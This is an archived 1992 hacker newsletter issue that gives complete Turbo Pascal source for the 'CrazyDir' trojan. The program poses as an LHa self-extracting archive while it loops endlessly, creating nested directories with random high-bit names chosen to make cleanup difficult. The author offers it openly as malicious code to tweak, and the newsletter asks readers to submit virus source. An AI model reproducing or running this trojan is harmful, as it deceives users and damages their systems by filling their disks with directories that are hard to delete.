Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Hacking Techniques :: vas016.txt

A WORKING Turbo Pascal 6.0 Trojan





浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様
 陳陳陳陳陳陳陳陳陳陳陳 炮      桎烝 桎烝 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 
 陳陳陳陳陳陳陳陳陳陳陳陳 炮        桀樛 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 
 陳陳陳陳陳陳陳陳陳陳陳陳陳 炮  桎烝      陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 
 陳陳陳陳陳陳陳陳陳陳陳陳陳陳 炳     樛樛 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 
麺様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様
                Vaginal and Anal Secretions Newsletter #0016                 
把陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳
          Date Released : [05/22/92]       Author: Phone Phreak              
把陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳
                      A WORKING Turbo Pascal 6.0 Trojan                      
喞陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳

        Well it seems all of us Turbo Pascal programmers are having the
hardest time finding malicious source code, so i decided to convert the 'c'
source code to the CRAZYDIR trojan over to pascal and modify it slightly to
improve it. If you want, feel free to mess around with it and change it all
around...

- - - - - - - CUT HERE - - - - - - - - - - - CUT HERE - - - - - - - - - - - -

(************************************************)
(**                                            **)
(**           CrazyDir Trojan Horse            **)
(**       Turbo Pascal 6.0 Source Code         **)
(**    Converted From 'C' By Phone Phreak      **)
(**                                            **)
(** ------------------------------------------ **)
(**    Well, I noticed that many of you have   **)
(** probably heard of CRAZYDIR, a nice little  **)
(** trojan horse that goes nuts making lots of **)
(** directories. For example, the trojan would **)
(** make 10 directories like '315135' and then **)
(** change to one and make 10 more and so on.  **)
(** Well I have improved it a little bit, It   **)
(** Will now use high-bit ascii characters to  **)
(** make removing the directories even more of **)
(** bitch. I also added a few lines of code so **)
(** it looks like it is actually doing some-   **)
(** thing. This program could use some work    **)
(** but for the most part it works. It will    **)
(** emulate a Self-Extracting .LZH file of     **)
(** about 15k, So after a while the person     **)
(** might get suspicious heh. On a fast system **)
(** they should get a few thousand directories **)
(** in a matter of seconds.                    **)
(**                                            **)
(************************************************)

{$I-}

Uses Dos, Crt;

Var FuckDirs : Array[1..10] Of String[8];
    Counter2 : Byte;

Procedure PickDirs;

 Function ShitString : String;
  Var Counter : Byte;
      TempStr : String;
  Begin
    TempStr := '';
    For Counter := 1 to 8 do TempStr := tempstr + Chr(Ord(Random(155)+100));
    ShitString := TempStr;
  End;

Var Dude : Byte;

Begin
  For Dude := 1 to 10 do FuckDirs[Dude] := ShitString;
end;

Begin
   Randomize;
   Writeln('LHa''s SFX 2.06s (c)1991, Yoshi');
   Writeln;
   Write('LOADER.EXE: Uncompressing 15,301 Bytes .');
   Repeat
   Write('.');
   PickDirs;
   For Counter2 := 1 to 10 do MkDir(FuckDirs[Counter2]);
   ChDir(FuckDirs[random(9)+1]);
   Until 1 = 2;                       {This makes it go forever}
end.

- - - - - - - CUT HERE - - - - - - - - - - - CUT HERE - - - - - - - - - - - -

        That's that... Excuse the sloppy programming, but oh well, I was in
a hurry... Like I said, it needs some work, but it should give you a basic
idea. If you have written a great virus and want to put the source code in
a VaS textfile, you know where to reach us (PoT BBS)...

浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様
               For All The Latest VAS Files, Be Sure To Call :               
把陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳
     Persistence Of Time BBS  2400 baud  (313)462-1906  NUP = T.MESS01    
藩様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様




TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH